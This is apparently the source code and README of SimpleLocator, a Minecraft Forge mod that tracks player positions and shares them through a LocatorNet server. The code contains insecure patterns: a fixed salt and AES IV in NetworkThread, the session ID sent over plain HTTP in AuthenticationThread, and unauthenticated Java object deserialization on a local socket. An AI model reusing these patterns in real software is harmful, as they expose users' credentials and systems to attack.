this.parentGui.drawString(this.fontRenderer, username, par2 + 5, par3 + 2, 0xffffff); } } @Override public void drawContainerBackground(Tessellator t) { GL11.glBlendFunc(GL11.GL_SRC_ALPHA, GL11.GL_ONE_MINUS_SRC_ALPHA); GL11.glEnable(GL11.GL_BLEND); GL11.glDisable(GL11.GL_TEXTURE_2D); GL11.glColor4f(1.0F, 1.0F, 1.0F, 1.0F); float height = 32.0F; WorldRenderer wr = t.getWorldRenderer(); wr.startDrawingQuads(); wr.setColorRGBA(0, 0, 0, 200); wr.addVertexWithUV((double)left, (double)bottom, 0.0D, (double)(left / height), (double)((bottom + (int)getAmountScrolled()) / height)); wr.addVertexWithUV((double)right, (double)bottom, 0.0D, (double)(right / height), (double)((bottom + (int)getAmountScrolled()) / height)); wr.addVertexWithUV((double)right, (double)top, 0.0D, (double)(right / height), (double)((top + (int)getAmountScrolled()) / height)); wr.addVertexWithUV((double)left, (double)top, 0.0D, (double)(left / height), (double)((top + (int)getAmountScrolled()) / height)); t.draw(); GL11.glEnable(GL11.GL_TEXTURE_2D); } } <file_sep>package shadowjay1.forge.simplelocator; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.net.MalformedURLException; import java.net.URL; import java.util.ArrayList; public class GroupUpdateThread extends Thread { private GroupConfiguration group; public GroupUpdateThread(GroupConfiguration group) { this.group = group; } public void run() { String sURL = this.group.getUpdateURL(); try { URL url = new URL(sURL); BufferedReader reader = new BufferedReader(new InputStreamReader(url.openStream())); ArrayList<String> members = group.getUsernames(); members.clear(); String line; while((line = reader.readLine()) != null) { line = line.trim(); if(!line.isEmpty()) { members.add(line); } } reader.close(); } catch (MalformedURLException e) { group.setUpdateURL(null); } catch (IOException e) { e.printStackTrace(); } } } <file_sep>package shadowjay1.forge.simplelocator.gui; import java.io.IOException; import net.minecraft.client.gui.GuiButton; import net.minecraft.client.gui.GuiScreen; import net.minecraftforge.fml.relauncher.Side; import net.minecraftforge.fml.relauncher.SideOnly; import org.lwjgl.input.Keyboard; import shadowjay1.forge.simplelocator.MemberList; import shadowjay1.forge.simplelocator.SimpleLocator; @SideOnly(Side.CLIENT) public class GuiDecryptionKeys extends GuiScreen { private GuiScreen parentScreen; private GuiDecryptionKeysSlot decryptionKeysSlotContainer; private int selectedUsername = -1; private GuiButton editButton; private GuiButton deleteButton; private int ticksOpened; public GuiDecryptionKeys(GuiScreen par1GuiScreen) { this.parentScreen = par1GuiScreen; } public void initGui() { Keyboard.enableRepeatEvents(true); this.buttonList.clear(); this.decryptionKeysSlotContainer = new GuiDecryptionKeysSlot(this); this.initGuiControls(); } public void initGuiControls() { this.buttonList.add(new GuiButton(10, this.width / 2 - 143, this.height - 40, 70, 20, "Add")); this.buttonList.add(editButton = new GuiButton(12, this.width / 2 - 71, this.height - 40, 70, 20, "Edit")); this.buttonList.add(deleteButton = new GuiButton(13, this.width / 2 + 1, this.height - 40, 70, 20, "Delete")); this.buttonList.add(new GuiButton(14, this.width / 2 + 73, this.height - 40, 70, 20, "Cancel")); updateButtons(); } public void handleMouseInput() throws IOException { super.handleMouseInput(); this.decryptionKeysSlotContainer.handleMouseInput(); } public void updateScreen() { super.updateScreen(); ++this.ticksOpened; } public void onGuiClosed() { Keyboard.enableRepeatEvents(false); } protected void actionPerformed(GuiButton par1GuiButton) { if (par1GuiButton.enabled) { if (par1GuiButton.id == 13) { if(this.selectedUsername > -1 && this.selectedUsername < this.decryptionKeysSlotContainer.getSize()) { String username = SimpleLocator.settings.decryptionPassphrases.keySet().toArray(new String[0])[this.selectedUsername]; SimpleLocator.settings.decryptionPassphrases.remove(username); SimpleLocator.networkThread.setDecryptPassword(username, null); } this.selectedUsername = -1; } else if (par1GuiButton.id == 12) { if(this.selectedUsername > -1 && this.selectedUsername < this.decryptionKeysSlotContainer.getSize()) { String username = SimpleLocator.settings.decryptionPassphrases.keySet().toArray(new String[0])[this.selectedUsername]; String passphrase = SimpleLocator.settings.decryptionPassphrases.get(username); SimpleLocator.settings.decryptionPassphrases.remove(username); SimpleLocator.networkThread.setDecryptPassword(username, null); this.mc.displayGuiScreen(new GuiAddKey(this, username, passphrase)); } } else if (par1GuiButton.id == 10) { this.mc.displayGuiScreen(new GuiAddKey(this)); this.selectedUsername = -1; } else if (par1GuiButton.id == 14) { this.mc.displayGuiScreen(this.parentScreen); } else { this.decryptionKeysSlotContainer.actionPerformed(par1GuiButton); } updateButtons(); SimpleLocator.saveConfiguration(); } } /** * Fired when a key is typed. This is the equivalent of KeyListener.keyTyped(KeyEvent e). * @throws IOException */ protected void keyTyped(char par1, int par2) throws IOException { int j = this.selectedUsername; if (par2 != 28 && par2 != 156) { super.keyTyped(par1, par2); } else { this.actionPerformed((GuiButton)this.buttonList.get(2)); } } /** * Draws the screen and all the components in it. */ public void drawScreen(int par1, int par2, float par3) { this.decryptionKeysSlotContainer.drawScreen(par1, par2, par3); this.drawCenteredString(this.fontRendererObj, "Decryption keys", this.width / 2, 20, 16777215); super.drawScreen(par1, par2, par3); } /** * Join server by slot index */ private void joinServer(int par1) { if (par1 < this.decryptionKeysSlotContainer.getSize()) { } else { par1 -= this.decryptionKeysSlotContainer.getSize(); } } public void updateButtons() { boolean flag = this.selectedUsername >= 0 && this.selectedUsername < this.decryptionKeysSlotContainer.getSize(); this.editButton.enabled = flag; this.deleteButton.enabled = flag; } static int getSelectedGroup(GuiDecryptionKeys gui) { return gui.selectedUsername; } static int getAndSetSelectedGroup(GuiDecryptionKeys gui, int par1) { return gui.selectedUsername = par1; } static GuiButton getButtonEdit(GuiDecryptionKeys gui) { return gui.editButton; } static GuiButton getButtonDelete(GuiDecryptionKeys gui) { return gui.deleteButton; } static int getTicksOpened(GuiDecryptionKeys gui) { return gui.ticksOpened; } } <file_sep>SimpleLocator is a mod that allows you to visualize player locations. These locations are visualized by small panels on the screen. --- ###Location panels Location panels are small panels that appear at the last known location of a Minecraft user. There are typically 3 parts to a panel. Part 1: Minecraft username + distance away "shadowjay1 (50m)" Part 2: Type of location (indicated by a character) "~" - Snitch (~) - /ppbroadcast (o) - Last seen on radar (-) - Downloaded SimpleLocator user location (|) - Downloaded radar location (v) Part 3: How long ago the location was discovered The location panels are configurable in the SimpleLocator menu, by default 'L'. --- ###Groups Groups are a core mechanic to SimpleLocator. Groups are created in the configuration menu and players can be added/removed from the group there as well. Groups allow you to: - Set custom panel settings for groups - See colored circles around users in groups - Trust groups to send/receive locations to/from all LocatorNet users in the group - See login/logout messages for players in groups Groups can also be auto-updated from a URL if the URL points to a raw text file with one username per line. Example: http://pastebin.com/raw.php?i=82BBpBGQ --- ###Miscellaneous SimpleLocator allows you to see the last known locations of all your offline accounts. --- ###Download https://mega.nz/#!bVkzkZTQ!3_C81O_PAlH0NaIMY_jQdtWrJijnh-bKYwKjQ4WTVpc --- ###Compilation instructions - Download Forge and set-up the Forge development environment - Clone this repository in the src/ folder (```git clone https://github.com/shadowjay1/SimpleLocator/ src/```) - Run ```gradlew build``` and grab the final jar from the build/libs/ folder <file_sep>package shadowjay1.forge.simplelocator.gui; import java.io.IOException; import org.lwjgl.input.Keyboard; import net.minecraft.client.gui.GuiButton; import net.minecraft.client.gui.GuiScreen; import net.minecraft.client.gui.GuiTextField; import shadowjay1.forge.simplelocator.LocatorSettings; import shadowjay1.forge.simplelocator.MemberList; import shadowjay1.forge.simplelocator.SimpleLocator; public class GuiAddMember extends GuiScreen { private String screenTitle = "Add member"; private GuiScreen parent; private MemberList memberList; private GuiTextField username; public GuiAddMember(GuiScreen parent, MemberList memberList) { this.parent = parent; this.memberList = memberList; } public void initGui() { Keyboard.enableRepeatEvents(true); username = new GuiTextField(this.width / 2, this.fontRendererObj, this.width / 2 - 100, this.height / 2, 200, 20); username.setFocused(true); this.buttonList.add(new GuiButton(100, this.width / 2 - 100, this.height / 2 + 88, 200, 20, "Done")); } public void onGuiClosed() { Keyboard.enableRepeatEvents(false); } protected void keyTyped(char par1, int par2) { if(this.username.isFocused()) { this.username.textboxKeyTyped(par1, par2); } if(par2 == Keyboard.KEY_RETURN) { if(!username.getText().trim().isEmpty()) { memberList.add(username.getText().trim()); } mc.displayGuiScreen(parent); } } public void updateScreen() { username.updateCursorCounter(); } protected void actionPerformed(GuiButton par1GuiButton) { LocatorSettings settings = SimpleLocator.settings; if(par1GuiButton.enabled) { if(par1GuiButton.id == 100) { if(!username.getText().trim().isEmpty()) { memberList.add(username.getText().trim()); } mc.displayGuiScreen(parent); } SimpleLocator.saveConfiguration(); } } protected void mouseClicked(int par1, int par2, int par3) throws IOException { super.mouseClicked(par1, par2, par3); this.username.mouseClicked(par1, par2, par3); } public void drawScreen(int par1, int par2, float par3) { this.drawDefaultBackground(); this.username.drawTextBox(); this.drawCenteredString(this.fontRendererObj, this.screenTitle, this.width / 2, 15, 16777215); super.drawScreen(par1, par2, par3); } } <file_sep>package shadowjay1.forge.simplelocator; import java.util.ArrayList; import java.util.List; import net.minecraft.client.Minecraft; public class GroupingThread extends Thread { public static List<LocationGroup> groups = new ArrayList<LocationGroup>(); public void run() { while (true) { try { if (Minecraft.getMinecraft().thePlayer != null) { synchronized (groups) { groups = GroupingUtils.getGroups(Minecraft.getMinecraft().thePlayer, LocatorListener.locations); } } Thread.sleep(500); } catch (Exception e) { e.printStackTrace(); } } } } <file_sep>package shadowjay1.forge.simplelocator; public interface ILocation { public double getX(); public double getY(); public double getZ(); } <file_sep>package shadowjay1.forge.simplelocator; import java.io.BufferedReader; import java.io.InputStream; import java.io.InputStreamReader; import java.net.InetSocketAddress; import java.net.SocketAddress; import java.nio.ByteBuffer; import java.security.GeneralSecurityException; import java.security.spec.KeySpec; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; import javax.crypto.Cipher; import javax.crypto.SecretKey; import javax.crypto.SecretKeyFactory; import javax.crypto.spec.IvParameterSpec; import javax.crypto.spec.PBEKeySpec; import javax.crypto.spec.SecretKeySpec; import org.apache.http.HttpEntity; import org.apache.http.HttpResponse; import org.apache.http.NameValuePair; import org.apache.http.client.HttpClient; import org.apache.http.client.entity.UrlEncodedFormEntity; import org.apache.http.client.methods.HttpPost; import org.apache.http.impl.client.DefaultHttpClient; import org.apache.http.message.BasicNameValuePair; import com.google.gson.Gson; import com.google.gson.GsonBuilder; import net.minecraft.client.Minecraft; import net.minecraft.client.entity.EntityOtherPlayerMP; import net.minecraft.client.network.NetHandlerPlayClient; import shadowjay1.forge.simplelocator.LocatorPacket.Action; public class NetworkThread extends Thread { private static boolean running = true; private static byte[] salt = new byte[]{58,123,-49,20,33,-120,7,100}; private static byte[] iv = new byte[]{0,8,-113,37,39,33,-44,-121,12,-63,71,-101,23,-81,28,-73}; private long lastStart = 0; private Cipher encryptCipher = null; private HashMap<String, Cipher> decryptCiphers = new HashMap<String, Cipher>(); private int lastAuthenticationAttempt = 0; public void run() { this.setEncryptPassword(SimpleLocator.settings.getEncryptionPassphrase()); for(String username : SimpleLocator.settings.decryptionPassphrases.keySet()) { this.setDecryptPassword(username, SimpleLocator.settings.decryptionPassphrases.get(username)); } while(running) { sendPacket(); } } public void sendPacket() { try { long sleepAmount = 2000 - (System.currentTimeMillis() - lastStart); if(sleepAmount > 0) { Thread.sleep(sleepAmount); } lastStart = System.currentTimeMillis(); if(AuthenticationThread.sessionId == null || AuthenticationThread.authenticated == false) { if(AuthenticationThread.lastThread != null && AuthenticationThread.lastThread.isAlive()) { return; } if(lastAuthenticationAttempt <= 0) { lastAuthenticationAttempt = 30; AuthenticationThread thread = new AuthenticationThread(); thread.start(); } else { lastAuthenticationAttempt--; } return; } Gson gson = new GsonBuilder().create(); Minecraft mc = Minecraft.getMinecraft(); NetHandlerPlayClient nch = mc.getNetHandler(); if(nch == null) return; if(nch.getNetworkManager() == null) return; SocketAddress address = nch.getNetworkManager().getRemoteAddress(); if(!(address instanceof InetSocketAddress)) return; InetSocketAddress inetaddress = (InetSocketAddress) address; HashMap<String, LocatorLocation> locationsCopy = new HashMap<String, LocatorLocation>(); synchronized(LocatorListener.locations) { locationsCopy.putAll(LocatorListener.locations); } HashMap<String, LocatorLocation> activeLocations = new HashMap<String, LocatorLocation>(); HashMap<String, LocatorLocation> nLocations = new HashMap<String, LocatorLocation>(); if(SimpleLocator.settings.isSendOthersEnabled()) { for(Object o : mc.theWorld.playerEntities) { if(o instanceof EntityOtherPlayerMP) { EntityOtherPlayerMP player = (EntityOtherPlayerMP) o; activeLocations.put(SimpleLocator.filterChatColors(player.getName()), encrypt(new LocatorLocation(player))); } } for(String username : locationsCopy.keySet()) { if(activeLocations.containsKey(username)) continue; LocatorLocation location = locationsCopy.get(username); if(location.getType() == LocationType.EXACT) { nLocations.put(username, encrypt(location)); } } } ArrayList<String> trustedUsers = new ArrayList<String>(); for(GroupConfiguration group : SimpleLocator.settings.getGroups()) { if(group.isTrusted()) { trustedUsers.addAll(group.getUsernames()); } } LocatorPacket sendPacket = new LocatorPacket(AuthenticationThread.sessionId, inetaddress.getAddress().getHostAddress(), inetaddress.getPort(), activeLocations, nLocations, trustedUsers); if(SimpleLocator.settings.isSendOwnEnabled()) sendPacket.setOwnLocation(encrypt(new LocatorLocation(mc.thePlayer).setType(encryptCipher == null ? LocationType.EXACT : LocationType.DOWNLOADED))); @SuppressWarnings("resource") HttpClient httpclient = new DefaultHttpClient(); HttpPost post = new HttpPost("http://locatornet.aws.af.cm/data"); List<NameValuePair> params = new ArrayList<NameValuePair>(1); params.add(new BasicNameValuePair("content", gson.toJson(sendPacket))); post.setEntity(new UrlEncodedFormEntity(params, "UTF-8")); HttpResponse response = httpclient.execute(post); HttpEntity entity = response.getEntity(); if (entity != null) { InputStream is = entity.getContent(); BufferedReader reader = new BufferedReader(new InputStreamReader(is)); StringBuilder content = new StringBuilder(); try { String line = null; while((line = reader.readLine()) != null) { content.append(line); } String contentString = content.toString(); if(contentString.equals("invalid session")) { AuthenticationThread.sessionId = null; AuthenticationThread.authenticated = false; return; } if(contentString.equals("not authenticated")) { AuthenticationThread.authenticated = false; return; } LocatorPacket receivedPacket = gson.fromJson(contentString, LocatorPacket.class); if(receivedPacket.getAction() == Action.RESPONSE) { Map<String, LocatorLocation> locations = receivedPacket.getPlayerLocations(); long timeOffset = System.currentTimeMillis() - receivedPacket.getLocalTime(); synchronized(LocatorListener.locations) { for(String key : locations.keySet()) { LocatorLocation newLocation = decrypt(locations.get(key)); newLocation.setCreationTime(newLocation.getCreationTime() + timeOffset); if(LocatorListener.locations.containsKey(key)) { LocatorLocation location = LocatorListener.locations.get(key); if(newLocation.getCreationTime() > location.getCreationTime()) { if(newLocation.getType() != LocationType.DOWNLOADED) { newLocation = newLocation.setType(LocationType.DOWNLOADED_RADAR); } LocatorListener.locations.put(key, newLocation); } } else { if(newLocation.getType() != LocationType.DOWNLOADED) { newLocation = newLocation.setType(LocationType.DOWNLOADED_RADAR); } LocatorListener.locations.put(key, newLocation); } //System.out.println(key + ": " + newLocation.getX() + ", " + newLocation.getY() + ", " + newLocation.getZ()); } } } } catch(Exception e) { System.out.println(content.toString()); e.printStackTrace(); } finally { is.close(); } } } catch(Exception e) { e.printStackTrace(); } } public LocatorLocation encrypt(LocatorLocation location) throws GeneralSecurityException { if(encryptCipher == null) { return location; } byte[] worldName = location.getWorld().getBytes(); ByteBuffer buffer = ByteBuffer.allocate(25 + worldName.length); buffer.putDouble(location.getX()); buffer.putDouble(location.getY()); buffer.putDouble(location.getZ()); buffer.put(location.getType().getIndex()); buffer.put(worldName); return new LocatorLocation(location.getCreationTime(), location.getSourceUser(), encryptCipher.doFinal(buffer.array())); } public LocatorLocation decrypt(LocatorLocation location) throws GeneralSecurityException { if(location.getEncryptedData() == null) { return location; } String username = location.getSourceUser(); if(username == null) { return null; } if(!decryptCiphers.containsKey(username)) { return null; } ByteBuffer buffer = ByteBuffer.wrap(decryptCiphers.get(username).doFinal(location.getEncryptedData())); if(buffer.capacity() < 25) { return null; } double x = buffer.getDouble(); double y = buffer.getDouble(); double z = buffer.getDouble(); LocationType type = LocationType.getByIndex(buffer.get()); if(type == null) return null; byte[] worldBytes = new byte[buffer.remaining()]; buffer.get(worldBytes, 0, worldBytes.length); String worldName = new String(worldBytes); return new LocatorLocation(x, y, z, type, location.getCreationTime(), worldName, location.getSourceUser()); } public void setDecryptPassword(String username, String password) { if(password == null || password.isEmpty()) { if(decryptCiphers.containsKey(username)) decryptCiphers.remove(username); return; } try { SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA256"); KeySpec spec = new PBEKeySpec(password.toCharArray(), salt, 65536, 128); SecretKey tmp = factory.generateSecret(spec); SecretKey secret = new SecretKeySpec(tmp.getEncoded(), "AES"); Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); cipher.init(Cipher.DECRYPT_MODE, secret, new IvParameterSpec(iv)); decryptCiphers.put(username, cipher); } catch(Exception e) { e.printStackTrace(); } } public void setEncryptPassword(String password) { if(password == null || password.isEmpty()) { encryptCipher = null; return; } try { SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA256"); KeySpec spec = new PBEKeySpec(password.toCharArray(), salt, 65536, 128); SecretKey tmp = factory.generateSecret(spec); SecretKey secret = new SecretKeySpec(tmp.getEncoded(), "AES"); Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); cipher.init(Cipher.ENCRYPT_MODE, secret, new IvParameterSpec(iv)); encryptCipher = cipher; } catch(Exception e) { e.printStackTrace(); } } } <file_sep>package shadowjay1.forge.simplelocator.gui; import net.minecraft.client.Minecraft; import net.minecraft.client.gui.FontRenderer; import net.minecraft.client.gui.GuiScreen; import net.minecraft.client.gui.GuiSlot; import net.minecraft.client.renderer.Tessellator; import net.minecraft.client.renderer.WorldRenderer; import net.minecraftforge.fml.relauncher.Side; import net.minecraftforge.fml.relauncher.SideOnly; import org.lwjgl.opengl.GL11; @SideOnly(Side.CLIENT) class GuiMemberSlot extends GuiSlot { final GuiMembers parentGui; private Minecraft minecraft; private FontRenderer fontRenderer; public GuiMemberSlot(GuiMembers par1GuiMultiplayer) { super(Minecraft.getMinecraft(), par1GuiMultiplayer.width, par1GuiMultiplayer.height, 32, par1GuiMultiplayer.height - 64, 16); this.parentGui = par1GuiMultiplayer; this.minecraft = Minecraft.getMinecraft(); this.fontRenderer = minecraft.fontRendererObj; } protected int getSize() { return GuiMembers.getMemberList(this.parentGui).countGroups(); } protected void elementClicked(int par1, boolean par2, int par3, int par4) { if (par1 < GuiMembers.getMemberList(this.parentGui).countGroups()) { int j = GuiMembers.getSelectedGroup(this.parentGui); GuiMembers.getAndSetSelectedGroup(this.parentGui, par1); boolean flag1 = GuiMembers.getSelectedGroup(this.parentGui) >= 0 && GuiMembers.getSelectedGroup(this.parentGui) < this.getSize(); boolean flag2 = GuiMembers.getSelectedGroup(this.parentGui) < GuiMembers.getMemberList(this.parentGui).countGroups(); GuiMembers.getButtonDelete(this.parentGui).enabled = flag2; if (par2 && flag1) { //GuiMembers.editGroup(this.parentGui, par1); } else if (flag2 && GuiScreen.isShiftKeyDown() && j >= 0 && j < GuiMembers.getMemberList(this.parentGui).countGroups()) { GuiMembers.getMemberList(this.parentGui).swapGroups(j, GuiMembers.getSelectedGroup(this.parentGui)); } } } /** * returns true if the element passed in is currently selected */ protected boolean isSelected(int par1) { return par1 == GuiMembers.getSelectedGroup(this.parentGui); } /** * return the height of the content being scrolled */ protected int getContentHeight() { return this.getSize() * this.slotHeight; } protected void drawBackground() { } protected void drawSlot(int par1, int par2, int par3, int par4, int par5, int par6) { if (par1 < GuiMembers.getMemberList(this.parentGui).countGroups()) { String username = GuiMembers.getMemberList(this.parentGui).get(par1); this.parentGui.drawString(this.fontRenderer, username, par2 + 5, par3 + 2, 0xffffff); } } @Override public void drawContainerBackground(Tessellator t) { GL11.glBlendFunc(GL11.GL_SRC_ALPHA, GL11.GL_ONE_MINUS_SRC_ALPHA); GL11.glEnable(GL11.GL_BLEND); GL11.glDisable(GL11.GL_TEXTURE_2D); GL11.glColor4f(1.0F, 1.0F, 1.0F, 1.0F); float height = 32.0F; WorldRenderer wr = t.getWorldRenderer(); wr.startDrawingQuads(); wr.setColorRGBA(0, 0, 0, 200); wr.addVertexWithUV((double)left, (double)bottom, 0.0D, (double)(left / height), (double)((bottom + (int)getAmountScrolled()) / height)); wr.addVertexWithUV((double)right, (double)bottom, 0.0D, (double)(right / height), (double)((bottom + (int)getAmountScrolled()) / height)); wr.addVertexWithUV((double)right, (double)top, 0.0D, (double)(right / height), (double)((top + (int)getAmountScrolled()) / height)); wr.addVertexWithUV((double)left, (double)top, 0.0D, (double)(left / height), (double)((top + (int)getAmountScrolled()) / height)); t.draw(); GL11.glEnable(GL11.GL_TEXTURE_2D); } } <file_sep>package shadowjay1.forge.simplelocator; import java.util.ArrayList; public class GroupList extends ArrayList<GroupConfiguration> { public int countGroups() { return this.size(); } public void swapGroups(int i1, int i2) { GroupConfiguration g1 = this.get(i1); GroupConfiguration g2 = this.get(i2); this.set(i1, g2); this.set(i2, g1); } public GroupConfiguration getByUsername(String username) { for(GroupConfiguration group : this) { if(group.getUsernames().contains(username)) { return group; } } return null; } } <file_sep>package shadowjay1.forge.simplelocator; import java.io.FileWriter; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.net.ConnectException; import java.net.InetAddress; import java.net.ServerSocket; import java.net.Socket; import java.util.HashMap; import com.google.gson.Gson; import com.google.gson.GsonBuilder; public class LocalLocationNetwork extends Thread { public LocalLocationNetwork() { } public void run() { try { while(true) { Socket socket = new Socket(InetAddress.getLocalHost(), 45454); ObjectOutputStream oos = new ObjectOutputStream(socket.getOutputStream()); ObjectInputStream ois = new ObjectInputStream(socket.getInputStream()); oos.writeObject(LocatorListener.offlineLocations); LocatorListener.offlineLocations = (HashMap<String, HashMap<String, LocatorLocation>>) ois.readObject(); socket.close(); Thread.sleep(250); } } catch(ConnectException e) { new LocalLocationServer(); } catch(Exception e) { e.printStackTrace(); } } public class LocalLocationServer { private ServerSocket serverSocket; public LocalLocationServer() { try { serverSocket = new ServerSocket(45454); Runtime.getRuntime().addShutdownHook(new Thread() { @Override public void run() { try { serverSocket.close(); } catch (IOException e) { e.printStackTrace(); } saveLocations(); } }); (new Thread() { public void run() { while(true) { try { Thread.sleep(15000); } catch (InterruptedException e) { e.printStackTrace(); } saveLocations(); } } }).start(); (new Thread() { @Override public void run() { while(true) { try { Socket s = serverSocket.accept(); ObjectInputStream ois = new ObjectInputStream(s.getInputStream()); ObjectOutputStream oos = new ObjectOutputStream(s.getOutputStream()); HashMap<String, HashMap<String, LocatorLocation>> locations = (HashMap<String, HashMap<String, LocatorLocation>>) ois.readObject(); LocatorListener.offlineLocations = mergeLocationsMap(LocatorListener.offlineLocations, locations); oos.writeObject(LocatorListener.offlineLocations); s.close(); } catch (IOException e) { e.printStackTrace(); } catch (ClassNotFoundException e) { e.printStackTrace(); } } } }).start(); } catch (IOException e) { e.printStackTrace(); } } private HashMap<String, HashMap<String, LocatorLocation>> mergeLocationsMap(HashMap<String, HashMap<String, LocatorLocation>> one, HashMap<String, HashMap<String, LocatorLocation>> two) { HashMap<String, HashMap<String, LocatorLocation>> three = new HashMap<String, HashMap<String, LocatorLocation>>(); for(String ip : one.keySet()) { if(two.containsKey(ip)) { three.put(ip, mergeLocations(one.get(ip), two.get(ip))); } else { three.put(ip, one.get(ip)); } } for(String ip : two.keySet()) { if(!one.containsKey(ip)) { three.put(ip, two.get(ip)); } } return three; } private HashMap<String, LocatorLocation> mergeLocations(HashMap<String, LocatorLocation> one, HashMap<String, LocatorLocation> two) { HashMap<String, LocatorLocation> three = new HashMap<String, LocatorLocation>(); for(String username : one.keySet()) { if(!two.containsKey(username)) { three.put(username, one.get(username)); } else { if(two.get(username).compareTo(one.get(username)) == 1) { three.put(username, two.get(username)); } else { three.put(username, one.get(username)); } } } for(String username : two.keySet()) { if(!one.containsKey(username)) { three.put(username, two.get(username)); } } return three; } public void saveLocations() { Gson gson = new GsonBuilder().create(); String json; synchronized(LocatorListener.offlineLocations) { json = gson.toJson(LocatorListener.offlineLocations); } try { FileWriter writer = new FileWriter(SimpleLocator.offlineLocationsFile); writer.write(json); writer.close(); } catch(IOException e) { e.printStackTrace(); } } } } <file_sep>package shadowjay1.forge.simplelocator; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; import java.security.PublicKey; import java.security.SecureRandom; import java.security.spec.InvalidKeySpecException; import java.util.ArrayList; import java.util.Arrays; import java.util.List; import net.minecraft.client.Minecraft; import net.minecraft.util.CryptManager; import org.apache.http.HttpEntity; import org.apache.http.HttpResponse; import org.apache.http.NameValuePair; import org.apache.http.client.HttpClient; import org.apache.http.client.entity.UrlEncodedFormEntity; import org.apache.http.client.methods.HttpGet; import org.apache.http.client.methods.HttpPost; import org.apache.http.impl.client.DefaultHttpClient; import org.apache.http.message.BasicNameValuePair; import com.google.gson.Gson; import com.google.gson.GsonBuilder; import com.google.gson.JsonArray; import com.google.gson.JsonElement; import com.google.gson.JsonObject; import com.google.gson.JsonParser; public class AuthenticationThread extends Thread { public static AuthenticationThread lastThread = null; public static String sessionId = null; public static boolean authenticated = false; private static boolean firstError = true; private SecureRandom random = new SecureRandom(); public void run() { lastThread = this; try { if(sessionId == null) this.getSession(); if(!authenticated) this.authenicate(); } catch (Exception e) { if(firstError) { firstError = false; e.printStackTrace(); } System.out.println("Error while connecting to locatornet: authentication failed"); } } public void authenicate() throws IOException, InvalidKeySpecException, NoSuchAlgorithmException { byte[] sharedSecret = new byte[16]; random.nextBytes(sharedSecret); @SuppressWarnings("resource") HttpClient httpclient = new DefaultHttpClient(); HttpPost handshake = new HttpPost("http://locatornet.aws.af.cm/handshake"); JsonObject contentObj = new JsonObject(); contentObj.addProperty("sessionId", sessionId); contentObj.addProperty("username", Minecraft.getMinecraft().getSession().getUsername()); contentObj.addProperty("version", SimpleLocator.version); Gson gson = new GsonBuilder().create(); JsonParser parser = new JsonParser(); System.out.println(gson.toJson(contentObj)); List<NameValuePair> params = new ArrayList<NameValuePair>(1); params.add(new BasicNameValuePair("content", gson.toJson(contentObj))); handshake.setEntity(new UrlEncodedFormEntity(params, "UTF-8")); HttpResponse response = httpclient.execute(handshake); HttpEntity entity = response.getEntity(); if(entity != null) { InputStream is = entity.getContent(); BufferedReader reader = new BufferedReader(new InputStreamReader(is)); try { StringBuilder content = new StringBuilder(); String line = null; while((line = reader.readLine()) != null) { content.append(line); } JsonObject jsonResponse = (JsonObject) parser.parse(content.toString()); String serverId = jsonResponse.get("serverId").getAsString(); System.out.println(jsonResponse.get("publicKey")); PublicKey publicKey = CryptManager.decodePublicKey(getAsByteArray((JsonArray) jsonResponse.get("publicKey"))); byte[] verifyToken = getAsByteArray((JsonArray) jsonResponse.get("verifyToken")); System.out.println("handshake:" + jsonResponse); requestJoin(serverId, publicKey, verifyToken, sharedSecret); } finally { is.close(); } } } public void requestJoin(String serverId, PublicKey publicKey, byte[] verifyToken, byte[] sharedSecret) throws IOException, InvalidKeySpecException, NoSuchAlgorithmException { MessageDigest md = null; try { md = MessageDigest.getInstance("SHA-1"); } catch(NoSuchAlgorithmException e) { e.printStackTrace(); return; } md.update(serverId.getBytes()); md.update(sharedSecret); md.update(publicKey.getEncoded()); String digest = mcHexDigest(md); Gson gson = new GsonBuilder().create(); JsonParser parser = new JsonParser(); @SuppressWarnings("resource") HttpClient httpclient = new DefaultHttpClient(); HttpGet handshake = new HttpGet("http://session.minecraft.net/game/joinserver.jsp?user=" + Minecraft.getMinecraft().getSession().getUsername() + "&sessionId=" + Minecraft.getMinecraft().getSession().getSessionID() + "&serverId=" + digest); JsonObject contentObj = new JsonObject(); contentObj.addProperty("user", Minecraft.getMinecraft().getSession().getUsername()); contentObj.addProperty("sessionId", Minecraft.getMinecraft().getSession().getSessionID()); contentObj.addProperty("serverId", digest); HttpResponse response = httpclient.execute(handshake); HttpEntity entity = response.getEntity(); if(entity != null) { InputStream is = entity.getContent(); BufferedReader reader = new BufferedReader(new InputStreamReader(is)); try { StringBuilder content = new StringBuilder(); String line = null; while((line = reader.readLine()) != null) { content.append(line); } System.out.println("session: " + content); } finally { is.close(); } } HttpPost keyResponse = new HttpPost("http://locatornet.aws.af.cm/login"); contentObj = new JsonObject(); contentObj.addProperty("sessionId", sessionId); contentObj.add("sharedSecret", convertToJson(CryptManager.encryptData(publicKey, sharedSecret))); contentObj.add("verifyToken", convertToJson(CryptManager.encryptData(publicKey, verifyToken))); List<NameValuePair> params = new ArrayList<NameValuePair>(1); params.add(new BasicNameValuePair("content", gson.toJson(contentObj))); keyResponse.setEntity(new UrlEncodedFormEntity(params, "UTF-8")); response = httpclient.execute(keyResponse); entity = response.getEntity(); if(entity != null) { InputStream is = entity.getContent(); BufferedReader reader = new BufferedReader(new InputStreamReader(is)); try { StringBuilder content = new StringBuilder(); String line = null; while((line = reader.readLine()) != null) { content.append(line); } authenticated = true; System.out.println("login: " + content); } finally { is.close(); } } } public void getSession() throws IOException { @SuppressWarnings("resource") HttpClient httpclient = new DefaultHttpClient(); HttpGet sessionid = new HttpGet("http://locatornet.aws.af.cm/getsessionid"); HttpResponse response = httpclient.execute(sessionid); HttpEntity entity = response.getEntity(); if (entity != null) { InputStream is = entity.getContent(); BufferedReader reader = new BufferedReader(new InputStreamReader(is)); try { StringBuilder content = new StringBuilder(); String line = null; while((line = reader.readLine()) != null) { content.append(line); } this.sessionId = content.toString(); } finally { is.close(); } } } public static byte[] getAsByteArray(JsonArray array) { byte[] bArray = new byte[array.size()]; for(int i = 0; i < bArray.length; i++) { bArray[i] = 